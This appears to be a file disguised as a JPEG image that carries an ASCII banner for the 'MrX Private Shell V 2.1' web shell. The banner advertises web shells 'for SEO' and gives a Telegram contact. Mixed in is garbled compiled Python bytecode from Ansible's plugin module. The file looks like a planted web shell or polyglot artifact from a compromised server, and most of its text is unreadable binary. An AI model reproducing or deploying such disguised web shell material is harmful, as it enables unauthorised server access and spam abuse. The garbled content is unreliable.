����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
�)g� � @ s� d dl mZmZmZ eZd dlmZ d dlZd dl Z
d dlmZ
d dlmZ d dlmZ d dlmZ d dlmZ e� Ze
jr�d d
lmZ i Zi Zi Zdd� ZG d
d� de�ZG dd� de�ZdS )� )�absolute_import�division�print_function)�ABCN)� constants)�AnsibleError)� to_native)�string_types)�Display� )�PluginPathContextc C s2 t | t�r| �� �dd�S | jj�� �dd�S d S �N�module� )�
isinstancer �lower�replace� __class__�__name__)�obj� r �</usr/lib/python3.9/site-packages/ansible/plugins/__init__.py�get_plugin_class. s
r c @ sn e Zd ZdZdd� Zdd� Zddd�Zdd d
�Zdd� Zdd
d�Z dd� Z
edd� �Zedd� �Z
dd� ZdS )�
AnsiblePluginFc C s i | _ d | _d S �N)�_options�_defs��selfr r r �__init__: s zAnsiblePlugin.__init__c C sb t � }|D ]B}d|vr(|�d|� �� n|�d�rB|�|�d�� |�|� q
t|�t | j���S )N�.zansible.builtin.zansible.legacy.)�set�add�
startswith�removeprefix�bool�intersectionZansible_aliases)r Zpossible_namesZpossible_fqcns�namer r r �matches_name>